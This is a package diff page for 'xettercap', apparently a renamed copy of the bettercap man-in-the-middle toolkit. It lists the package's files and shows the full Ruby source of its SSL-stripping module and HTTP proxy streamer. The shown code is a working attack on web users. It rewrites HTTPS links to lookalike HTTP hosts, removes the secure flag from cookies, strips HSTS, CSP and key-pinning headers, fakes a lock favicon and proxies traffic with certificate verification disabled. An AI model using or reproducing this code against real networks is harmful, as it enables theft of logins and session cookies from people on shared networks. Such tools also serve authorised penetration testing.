xettercap 1.5.7xerob

Sign up to get free protection for your applications and to get access to all the features.
Files changed (98) hide show
  1. checksums.yaml +7 -0
  2. data/bin/xettercap +61 -0
  3. data/lib/bettercap/banner +2 -0
  4. data/lib/bettercap/context.rb +259 -0
  5. data/lib/bettercap/discovery/agents/arp.rb +37 -0
  6. data/lib/bettercap/discovery/agents/base.rb +73 -0
  7. data/lib/bettercap/discovery/agents/icmp.rb +44 -0
  8. data/lib/bettercap/discovery/agents/udp.rb +30 -0
  9. data/lib/bettercap/discovery/thread.rb +128 -0
  10. data/lib/bettercap/error.rb +16 -0
  11. data/lib/bettercap/firewalls/base.rb +103 -0
  12. data/lib/bettercap/firewalls/bsd.rb +74 -0
  13. data/lib/bettercap/firewalls/linux.rb +65 -0
  14. data/lib/bettercap/firewalls/redirection.rb +42 -0
  15. data/lib/bettercap/loader.rb +27 -0
  16. data/lib/bettercap/logger.rb +131 -0
  17. data/lib/bettercap/memory.rb +56 -0
  18. data/lib/bettercap/monkey/celluloid/actor.rb +23 -0
  19. data/lib/bettercap/monkey/celluloid/io/udp_socket.rb +26 -0
  20. data/lib/bettercap/monkey/em-proxy/proxy.rb +23 -0
  21. data/lib/bettercap/monkey/openssl/server.rb +35 -0
  22. data/lib/bettercap/monkey/packetfu/pcap.rb +51 -0
  23. data/lib/bettercap/monkey/packetfu/utils.rb +210 -0
  24. data/lib/bettercap/monkey/system.rb +25 -0
  25. data/lib/bettercap/network/arp_reader.rb +91 -0
  26. data/lib/bettercap/network/hw-prefixes +21326 -0
  27. data/lib/bettercap/network/network.rb +102 -0
  28. data/lib/bettercap/network/packet_queue.rb +129 -0
  29. data/lib/bettercap/network/protos/base.rb +154 -0
  30. data/lib/bettercap/network/protos/dhcp.rb +227 -0
  31. data/lib/bettercap/network/protos/mysql.rb +40 -0
  32. data/lib/bettercap/network/protos/ntlm.rb +97 -0
  33. data/lib/bettercap/network/protos/snmp.rb +49 -0
  34. data/lib/bettercap/network/protos/teamviewer.rb +119 -0
  35. data/lib/bettercap/network/servers/dnsd.rb +152 -0
  36. data/lib/bettercap/network/servers/httpd.rb +55 -0
  37. data/lib/bettercap/network/services +2182 -0
  38. data/lib/bettercap/network/target.rb +168 -0
  39. data/lib/bettercap/network/validator.rb +96 -0
  40. data/lib/bettercap/options/core_options.rb +197 -0
  41. data/lib/bettercap/options/options.rb +165 -0
  42. data/lib/bettercap/options/proxy_options.rb +314 -0
  43. data/lib/bettercap/options/server_options.rb +73 -0
  44. data/lib/bettercap/options/sniff_options.rb +90 -0
  45. data/lib/bettercap/options/spoof_options.rb +71 -0
  46. data/lib/bettercap/pluggable.rb +37 -0
  47. data/lib/bettercap/proxy/http/module.rb +105 -0
  48. data/lib/bettercap/proxy/http/modules/injectcss.rb +79 -0
  49. data/lib/bettercap/proxy/http/modules/injecthtml.rb +80 -0
  50. data/lib/bettercap/proxy/http/modules/injectjs.rb +79 -0
  51. data/lib/bettercap/proxy/http/proxy.rb +184 -0
  52. data/lib/bettercap/proxy/http/request.rb +192 -0
  53. data/lib/bettercap/proxy/http/response.rb +226 -0
  54. data/lib/bettercap/proxy/http/ssl/authority.rb +182 -0
  55. data/lib/bettercap/proxy/http/ssl/bettercap-ca.pem +49 -0
  56. data/lib/bettercap/proxy/http/ssl/server.rb +63 -0
  57. data/lib/bettercap/proxy/http/sslstrip/cookiemonitor.rb +67 -0
  58. data/lib/bettercap/proxy/http/sslstrip/lock.ico +0 -0
  59. data/lib/bettercap/proxy/http/sslstrip/strip.rb +325 -0
  60. data/lib/bettercap/proxy/http/streamer.rb +225 -0
  61. data/lib/bettercap/proxy/stream_logger.rb +181 -0
  62. data/lib/bettercap/proxy/tcp/module.rb +75 -0
  63. data/lib/bettercap/proxy/tcp/proxy.rb +123 -0
  64. data/lib/bettercap/proxy/thread_pool.rb +194 -0
  65. data/lib/bettercap/shell.rb +70 -0
  66. data/lib/bettercap/sniffer/parsers/base.rb +87 -0
  67. data/lib/bettercap/sniffer/parsers/cookie.rb +45 -0
  68. data/lib/bettercap/sniffer/parsers/creditcard.rb +62 -0
  69. data/lib/bettercap/sniffer/parsers/custom.rb +26 -0
  70. data/lib/bettercap/sniffer/parsers/dhcp.rb +45 -0
  71. data/lib/bettercap/sniffer/parsers/dict.rb +37 -0
  72. data/lib/bettercap/sniffer/parsers/ftp.rb +24 -0
  73. data/lib/bettercap/sniffer/parsers/httpauth.rb +44 -0
  74. data/lib/bettercap/sniffer/parsers/https.rb +42 -0
  75. data/lib/bettercap/sniffer/parsers/irc.rb +24 -0
  76. data/lib/bettercap/sniffer/parsers/mail.rb +24 -0
  77. data/lib/bettercap/sniffer/parsers/mpd.rb +36 -0
  78. data/lib/bettercap/sniffer/parsers/mysql.rb +27 -0
  79. data/lib/bettercap/sniffer/parsers/nntp.rb +24 -0
  80. data/lib/bettercap/sniffer/parsers/ntlmss.rb +34 -0
  81. data/lib/bettercap/sniffer/parsers/pgsql.rb +36 -0
  82. data/lib/bettercap/sniffer/parsers/post.rb +33 -0
  83. data/lib/bettercap/sniffer/parsers/redis.rb +39 -0
  84. data/lib/bettercap/sniffer/parsers/rlogin.rb +45 -0
  85. data/lib/bettercap/sniffer/parsers/snmp.rb +44 -0
  86. data/lib/bettercap/sniffer/parsers/snpp.rb +37 -0
  87. data/lib/bettercap/sniffer/parsers/teamviewer.rb +30 -0
  88. data/lib/bettercap/sniffer/parsers/url.rb +30 -0
  89. data/lib/bettercap/sniffer/parsers/whatsapp.rb +33 -0
  90. data/lib/bettercap/sniffer/sniffer.rb +142 -0
  91. data/lib/bettercap/spoofers/arp.rb +150 -0
  92. data/lib/bettercap/spoofers/base.rb +152 -0
  93. data/lib/bettercap/spoofers/icmp.rb +202 -0
  94. data/lib/bettercap/spoofers/none.rb +57 -0
  95. data/lib/bettercap/update_checker.rb +57 -0
  96. data/lib/bettercap/version.rb +18 -0
  97. data/lib/bettercap.rb +70 -0
  98. metadata +276 -0
@@ -0,0 +1,325 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Proxy
16
+ module HTTP
17
+ module SSLStrip
18
+
19
+ # Represent a stripped url associated to the client that requested it.
20
+ class StrippedObject
21
+ # The stripped request client address.
22
+ attr_accessor :client
23
+ # The original URL.
24
+ attr_accessor :original
25
+ # The stripped version of the URL.
26
+ attr_accessor :stripped
27
+
28
+ # Known subdomains to replace.
29
+ SUBDOMAIN_REPLACES = {
30
+ 'www' => 'wwwww',
31
+ 'webmail' => 'wwebmail',
32
+ 'mail' => 'wmail',
33
+ 'm' => 'wmobile'
34
+ }.freeze
35
+
36
+ # Create an instance with the given arguments.
37
+ def initialize( client, original, stripped )
38
+ @client = client
39
+ @original = original
40
+ @stripped = stripped
41
+ end
42
+
43
+ # Return the #original hostname.
44
+ def original_hostname
45
+ URI::parse(@original).hostname
46
+ end
47
+
48
+ # Return the #stripped hostname.
49
+ def stripped_hostname
50
+ URI::parse(@stripped).hostname
51
+ end
52
+
53
+ # Return a normalized version of +url+.
54
+ def self.normalize( url, schema = 'https' )
55
+ # add schema if needed
56
+ unless url.include?('://')
57
+ url = "#{schema}://#{url}"
58
+ end
59
+ # add path if needed
60
+ unless url.end_with?('/')
61
+ url = "#{url}/"
62
+ end
63
+ url
64
+ end
65
+
66
+ # Downgrade +url+ from HTTPS to HTTP.
67
+ # Will take care of HSTS bypass urls in a near future.
68
+ def self.strip( url )
69
+ # first thing first, downgrade the protocol schema
70
+ stripped = url.gsub( 'https://', 'http://' )
71
+ # search for a known subdomain and replace it
72
+ found = false
73
+ SUBDOMAIN_REPLACES.each do |from,to|
74
+ if stripped.include?( "://#{from}." )
75
+ stripped = stripped.gsub( "://#{from}.", "://#{to}." )
76
+ found = true
77
+ break
78
+ end
79
+ end
80
+ # fallback, prepend custom 'wwwww.'
81
+ unless found
82
+ stripped.gsub!( '://', '://wwwww.' )
83
+ end
84
+
85
+ Logger.debug "[#{'SSLSTRIP'.green} '#{url}' -> '#{stripped}'"
86
+
87
+ stripped
88
+ end
89
+
90
+ def self.process( url )
91
+ normalized = self.normalize(url)
92
+ stripped = self.strip(normalized)
93
+ [ normalized, stripped ]
94
+ end
95
+ end
96
+
97
+ # Handle SSL stripping.
98
+ class Strip
99
+ # Maximum number of redirects to detect a HTTPS redirect loop.
100
+ MAX_REDIRECTS = 3
101
+ # Regular expression used to parse HTTPS urls.
102
+ HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
103
+
104
+ # Create an instance of this object.
105
+ def initialize( ctx )
106
+ @stripped = []
107
+ @cookies = CookieMonitor.new
108
+ @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
109
+ @resolver = BetterCap::Network::Servers::DNSD.new( nil, ctx.iface.ip, ctx.options.servers.dnsd_port )
110
+
111
+ @resolver.start
112
+ end
113
+
114
+ # Return true if the +request+ was stripped.
115
+ def was_stripped?(request)
116
+ url = request.base_url
117
+ @stripped.each do |s|
118
+ if s.client == request.client and s.stripped.start_with?(url)
119
+ return true
120
+ end
121
+ end
122
+ false
123
+ end
124
+
125
+ def unstrip( request, url )
126
+ @stripped.each do |s|
127
+ if s.client == request.client and s.stripped.start_with?(url)
128
+ return s.original
129
+ end
130
+ end
131
+ url
132
+ end
133
+
134
+ # Check if the +request+ is a result of a stripped link/redirect and handle
135
+ # cookies cleaning.
136
+ # Return a response object or nil if the request must be performed.
137
+ def preprocess( request )
138
+ process_headers!(request)
139
+ response = process_cookies!(request)
140
+ if response.nil?
141
+ process_stripped!(request)
142
+ response = spoof_favicon!(request)
143
+ end
144
+ response
145
+ end
146
+
147
+ # Process the +request+ and if it's a redirect to a HTTPS url patch the
148
+ # Location header and retry.
149
+ # Process the +response+ and replace every https link in its body with
150
+ # http counterparts.
151
+ def process( request, response )
152
+ # check for a redirect
153
+ if process_redirection!( request, response )
154
+ # retry the request
155
+ return true
156
+ end
157
+
158
+ process_headers!(response)
159
+ process_body!( request, response )
160
+
161
+ # do not retry the request.
162
+ false
163
+ end
164
+
165
+ private
166
+
167
+ # Headers to patch both in requests and responses.
168
+ HEADERS_TO_PATCH = {
169
+ :req => {
170
+ 'Accept-Encoding' => nil,
171
+ 'If-None-Match' => nil,
172
+ 'If-Modified-Since' => nil,
173
+ 'Upgrade-Insecure-Requests' => nil,
174
+ 'Pragma' => 'no-cache'
175
+ },
176
+
177
+ :res => {
178
+ 'X-Frame-Options' => nil,
179
+ 'X-Content-Type-Options' => nil,
180
+ 'X-Xss-Protection' => nil,
181
+ 'Strict-Transport-Security' => nil,
182
+ 'Content-Security-Policy' => nil
183
+ }
184
+ }.freeze
185
+
186
+ # Clean some headers from +r+.
187
+ def process_headers!(r)
188
+ what = r.is_a?(BetterCap::Proxy::HTTP::Request) ? :req : :res
189
+ HEADERS_TO_PATCH[what].each do |key,value|
190
+ r[key] = value;
191
+ end
192
+ end
193
+
194
+ # If +request+ has unknown session cookies, create a client redirection
195
+ # to make them expire.
196
+ def process_cookies!(request)
197
+ response = nil
198
+ # check for cookies.
199
+ unless @cookies.is_clean?(request)
200
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
201
+ expired = @cookies.get_expired_headers!(request)
202
+ response = Response.redirect( request.to_url(nil), expired )
203
+ end
204
+ response
205
+ end
206
+
207
+ # If the +request+ is a result of a sslstripping operation,
208
+ # proxy it via SSL.
209
+ def process_stripped!(request)
210
+ if request.port == 80 and was_stripped?(request)
211
+ # i.e: wwww.facebook.com
212
+ stripped = request['Host']
213
+ # i.e: http://wwww.facebook.com/
214
+ url = StrippedObject.normalize( stripped, 'http' )
215
+ # i.e: www.facebook.com
216
+ unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub( 'http://', '' ).gsub( /\/.*/, '' )
217
+
218
+ # loop each header and fix the stripped url if needed,
219
+ # this will fix headers such as Host, Referer, Origin, etc.
220
+ request.headers.each do |name,value|
221
+ if value.include?(stripped)
222
+ request[name] = value.gsub( stripped, unstripped ).gsub( 'http://', 'https://')
223
+ end
224
+ end
225
+ request.port = 443
226
+
227
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{url}', proxying via SSL ( #{request.to_url} )."
228
+ end
229
+ end
230
+
231
+ # If +request+ is the favicon of a stripped host, send our spoofed lock icon.
232
+ def spoof_favicon!(request)
233
+ if was_stripped?(request) and is_favicon?(request)
234
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
235
+ return @favicon
236
+ end
237
+ nil
238
+ end
239
+
240
+ # Return true if +request+ is a favicon request.
241
+ def is_favicon?(request)
242
+ ( request.path.include?('.ico') or request.path.include?('favicon') )
243
+ end
244
+
245
+ # If the +response+ is a redirect to a HTTPS location, patch the +response+ and
246
+ # retry the +request+ via SSL.
247
+ def process_redirection!(request,response)
248
+ # check for a redirect
249
+ if response['Location'].start_with?('https://')
250
+ original, stripped = StrippedObject.process( response['Location'] )
251
+
252
+ add_stripped_object StrippedObject.new( request.client, original, stripped )
253
+
254
+ # If MAX_REDIRECTS is reached, the 'Location' header will be used.
255
+ response['Location'] = stripped
256
+
257
+ # no cookies set, just a normal http -> https redirect
258
+ if response['Set-Cookie'].empty?
259
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{original}' -> '#{stripped}'."
260
+ # The request will be retried on port 443 if MAX_REDIRECTS is not reached.
261
+ request.port = 443
262
+ # retry the request if possible
263
+ return true
264
+ # cookies set, this is probably a redirect after a login.
265
+ else
266
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS ( with cookies ) '#{original}' -> '#{stripped}'."
267
+ # we know this session, do not kill it!
268
+ @cookies.add!( request )
269
+ # remove the 'secure' flag from every cookie.
270
+ # ref: https://www.owasp.org/index.php/SecureFlag
271
+ response.patch_header!( 'Set-Cookie', /secure/, '' )
272
+ # do not retry request
273
+ return false
274
+ end
275
+ end
276
+ false
277
+ end
278
+
279
+ # Process the +response+ body and strip out every HTTPS link.
280
+ def process_body!(request, response)
281
+ # parse body
282
+ links = []
283
+ begin
284
+ response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
285
+ if link[0].include?('.')
286
+ # yeah, some idiots are using \ instead of / as a path -.-
287
+ if link[0].end_with?('\\')
288
+ link[0][-1] = '/'
289
+ end
290
+ links << StrippedObject.process( link[0] )
291
+ end
292
+ end
293
+ # handle errors due to binary content
294
+ rescue; end
295
+
296
+ unless links.empty?
297
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
298
+
299
+ links.each do |l|
300
+ original, stripped = l
301
+ add_stripped_object StrippedObject.new( request.client, original, stripped )
302
+ response.body.gsub!( original, stripped )
303
+ end
304
+ end
305
+ end
306
+
307
+ private
308
+
309
+ def add_stripped_object( o )
310
+ begin
311
+ stripped_hostname = o.stripped_hostname
312
+ original_address = IPSocket.getaddress( o.original_hostname )
313
+ @stripped << o
314
+ # make sure we're able to resolve the stripped domain
315
+ @resolver.add_rule!( stripped_hostname, original_address )
316
+ rescue Exception => e
317
+ Logger.exception(e)
318
+ end
319
+ end
320
+ end
321
+
322
+ end
323
+ end
324
+ end
325
+ end
@@ -0,0 +1,225 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Proxy
16
+ module HTTP
17
+
18
+ # Handle data streaming between clients and servers for the BetterCap::Proxy::HTTP::Proxy.
19
+ class Streamer
20
+ # Initialize the class.
21
+ def initialize( sslstrip )
22
+ @ctx = Context.get
23
+ @sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
24
+ end
25
+
26
+ # Return true if the +request+ was stripped.
27
+ def was_stripped?(request, client)
28
+ if @sslstrip
29
+ request.client, _ = get_client_details( client )
30
+ return @sslstrip.was_stripped?(request)
31
+ end
32
+ false
33
+ end
34
+
35
+ # Redirect the +client+ to a funny video.
36
+ def rickroll( client )
37
+ client_ip, client_port = get_client_details( client )
38
+
39
+ Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
40
+
41
+ client.write Response.redirect( "https://www.youtube.com/watch?v=dQw4w9WgXcQ" ).to_s
42
+ end
43
+
44
+ # Handle the HTTP +request+ from +client+.
45
+ def handle( request, client, redirects = 0 )
46
+ response = Response.new
47
+ request.client, _ = get_client_details( client )
48
+
49
+ Logger.debug "Handling #{request.method} request from #{request.client} ..."
50
+
51
+ begin
52
+ r = nil
53
+ if @sslstrip
54
+ r = @sslstrip.preprocess( request )
55
+ end
56
+
57
+ if r.nil?
58
+ # call modules on_pre_request
59
+ r = process( request )
60
+ if r.nil?
61
+ self.send( "do_#{request.method}", request, response )
62
+ else
63
+ Logger.info "[#{'PROXY'.green}] Module returned crafted response."
64
+ response = r
65
+ end
66
+ else
67
+ response = r
68
+ end
69
+
70
+ if response.textual? or request.method == 'DELETE'
71
+ StreamLogger.log_http( request, response )
72
+ else
73
+ Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
74
+ end
75
+
76
+ if @sslstrip
77
+ # do we need to retry the request?
78
+ if @sslstrip.process( request, response ) == true
79
+ # https redirect loop?
80
+ if redirects < SSLStrip::Strip::MAX_REDIRECTS
81
+ return self.handle( request, client, redirects + 1 )
82
+ else
83
+ Logger.info "[#{'SSLSTRIP'.red} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
84
+ end
85
+ end
86
+ end
87
+
88
+ # Strip out a few security headers.
89
+ strip_security( response )
90
+
91
+ # call modules on_request
92
+ process( request, response )
93
+
94
+ client.write response.to_s
95
+ rescue NoMethodError => e
96
+ Logger.warn "Could not handle #{request.method} request from #{request.client} ..."
97
+ Logger.exception e
98
+ end
99
+ end
100
+
101
+ private
102
+
103
+ # Run proxy modules.
104
+ def process( request, response = nil )
105
+ # loop each loaded module and execute if enabled
106
+ BetterCap::Proxy::HTTP::Module.modules.each do |mod|
107
+ if mod.enabled?
108
+ # we need to save the original response in case something
109
+ # in the module will go wrong
110
+ original = response
111
+
112
+ begin
113
+ if response.nil?
114
+ r = mod.on_pre_request request
115
+ # the handler returned a response, do not execute
116
+ # the request
117
+ response = r unless r.nil?
118
+ else
119
+ mod.on_request request, response
120
+ end
121
+ rescue Exception => e
122
+ Logger.warn "Error with proxy module: #{e.message}"
123
+ Logger.exception e
124
+
125
+ response = original
126
+ end
127
+ end
128
+ end
129
+ return response
130
+ end
131
+
132
+ # List of security headers to remove/patch from any response.
133
+ # Thanks to Mazin Ahmed ( @mazen160 )
134
+ SECURITY_HEADERS = {
135
+ 'X-Frame-Options' => nil,
136
+ 'X-Content-Type-Options' => nil,
137
+ 'Strict-Transport-Security' => nil,
138
+ 'X-WebKit-CSP' => nil,
139
+ 'Public-Key-Pins' => nil,
140
+ 'Public-Key-Pins-Report-Only' => nil,
141
+ 'X-Content-Security-Policy' => nil,
142
+ 'Content-Security-Policy-Report-Only' => nil,
143
+ 'Content-Security-Policy' => nil,
144
+ 'X-Download-Options' => nil,
145
+ 'X-Permitted-Cross-Domain-Policies' => nil,
146
+ 'Allow-Access-From-Same-Origin' => '*',
147
+ 'Access-Control-Allow-Origin' => '*',
148
+ 'Access-Control-Allow-Methods' => '*',
149
+ 'Access-Control-Allow-Headers' => '*',
150
+ 'X-Xss-Protection' => '0'
151
+ }.freeze
152
+
153
+ # Strip out a few security headers from +response+.
154
+ def strip_security( response )
155
+ SECURITY_HEADERS.each do |name,value|
156
+ response[name] = value
157
+ end
158
+ end
159
+
160
+ # Return the +client+ ip address and port.
161
+ def get_client_details( client )
162
+ _, client_port, _, client_ip = client.peeraddr
163
+ [ client_ip, client_port ]
164
+ end
165
+
166
+ # Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::HTTP::Request
167
+ # object, will return a BetterCap::Proxy::HTTP::Response object instance.
168
+ def perform_proxy_request(req, res)
169
+ path = req.path
170
+ response = nil
171
+ http = Net::HTTP.new( req.host, req.port )
172
+ http.use_ssl = ( req.port == 443 )
173
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
174
+
175
+ http.start do
176
+ response = yield( http, path, req.headers )
177
+ end
178
+
179
+ res.convert_webrick_response!(response)
180
+ end
181
+
182
+ # Handle a CONNECT request, +req+ is the request object and +res+ the response.
183
+ def do_CONNECT(req, res)
184
+ Logger.error "You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:\n\n#{req.to_s}"
185
+ end
186
+
187
+ # Handle a GET request, +req+ is the request object and +res+ the response.
188
+ def do_GET(req, res)
189
+ perform_proxy_request(req, res) do |http, path, header|
190
+ http.get(path, header)
191
+ end
192
+ end
193
+
194
+ # Handle a HEAD request, +req+ is the request object and +res+ the response.
195
+ def do_HEAD(req, res)
196
+ perform_proxy_request(req, res) do |http, path, header|
197
+ http.head(path, header)
198
+ end
199
+ end
200
+
201
+ # Handle a DELETE request, +req+ is the request object and +res+ the response.
202
+ def do_DELETE(req, res)
203
+ perform_proxy_request(req, res) do |http, path, header|
204
+ http.delete(path, header)
205
+ end
206
+ end
207
+
208
+ # Handle a POST request, +req+ is the request object and +res+ the response.
209
+ def do_POST(req, res)
210
+ perform_proxy_request(req, res) do |http, path, header|
211
+ http.post(path, req.body || "", header)
212
+ end
213
+ end
214
+
215
+ # Handle a PUT request, +req+ is the request object and +res+ the response.
216
+ def do_PUT(req, res)
217
+ perform_proxy_request(req, res) do |http, path, header|
218
+ http.put(path, req.body || "", header)
219
+ end
220
+ end
221
+
222
+ end
223
+ end
224
+ end
225
+ end